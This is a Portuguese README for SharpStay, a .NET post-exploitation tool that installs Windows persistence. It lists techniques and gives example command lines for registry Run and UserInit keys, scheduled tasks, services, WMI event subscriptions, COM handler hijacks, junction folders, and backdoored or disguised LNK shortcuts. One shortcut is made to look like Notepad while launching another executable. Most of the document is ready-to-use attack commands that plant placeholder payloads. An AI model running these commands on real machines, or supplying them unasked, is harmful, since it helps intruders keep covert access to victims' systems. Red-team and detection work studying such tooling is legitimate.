0xthirteen/sharpstayFerramenta .NET para instalar persistência no Windows via chaves de registro, tarefas agendadas, serviços, eventos WMI, sequestros COM e backdoors LNK, suportando contextos elevados e não elevados.
Para compilar, abra o projeto do Visual Studio e compile para release.
Chaves de Registro Elevadas
Chave de Registro UserInit Elevada
Tarefa Agendada Elevada
Criar Serviço Elevado
Assinatura de Evento WMI Elevada
Chave de Registro InitMprLogonScript Não Elevada
Sequestro de Manipulador COM de Tarefa Agendada Não Elevado
Pasta de Junção Não Elevada
Misc Adicionar Ação de Tarefa Agendada
Misc Diretório de Inicialização
Misc Novo LNK
Misc Backdoor LNK
Misc Nomes de Tarefas
Misc Listar Tarefas Agendadas
Misc Listar Serviços em Execução
Misc Obter Manipuladores COM de Tarefas Agendadas
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true é uma opção para cada tipo de persistência.
Parte do StayKit